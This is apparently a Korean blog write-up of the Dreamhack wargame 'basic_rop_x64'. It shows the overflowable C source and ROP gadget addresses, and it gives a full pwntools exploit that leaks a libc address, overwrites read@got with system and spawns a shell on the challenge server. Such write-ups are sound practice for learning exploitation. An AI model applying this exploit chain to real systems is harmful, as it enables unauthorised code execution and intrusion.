[드림핵] basic_rop_x64
A A

문제: https://dreamhack.io/wargame/challenges/29

 

basic_rop_x64

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일

dreamhack.io

 

드림핵 시스템해킹 로드맵에서는 ret2main 기법으로 풀던데

직전에 배운 GOT overwrite ROP로도 가능할 것 같아서 그렇게 풀었다.

 

📍 보호기법

 

64비트, 카나리 없음, NX 있음, PIE 없음

 

📍 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

0x40 크기의 `buf`에 `read`로 0x400만큼 입력할 수 있다.

`buf`의 값을 `write`로 출력한다.

 

딱 보니 BOF와 `read`, `write` 말고는 아무것도 없다.

이럴 때 쓰라고 있는 ROP 기법이다.

 

공격 시나리오:

1. `read@got`를 `system` 함수의 주소로 덮기

2. `read@plt` 호출하기

 

 

📍 익스플로잇

ROP 가젯 찾기

 

`pop rdi ; ret` => `0x400883`

`pop rsi ; pop r15 ; ret` => `0x400881`

`ret` => `0x4005a9`

 

from pwn import*

p = remote("host3.dreamhack.games", 18637)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']

pop_rdi = 0x400883
pop_rsi_r15 = 0x400881
ret = 0x4005a9

# 리턴주소 전까지는 더미값
payload = b'A'*0x40 + b'B'*0x8

# read@got 주소 출력하기
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read@got 주소 덮기
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read@plt 호출로 system("/bin/sh") 실행하기
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.send(payload)
p.recvuntil(b'A'*0x40)
read = u64(p.recvn(8))
libc_base = read - libc.symbols['read']
system = libc_base + libc.symbols['system']

p.send(p64(system) + b'/bin/sh\x00')
p.interactive()

 

 

 

🚩

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] oneshot  (0) 2025.04.08
[드림핵] fho  (0) 2025.03.30
[드림핵] struct person_t  (1) 2025.03.29
[드림핵] rop  (0) 2025.03.29
[드림핵] Return to Library  (0) 2025.03.28
Copyright 2024. GRAVITY all rights reserved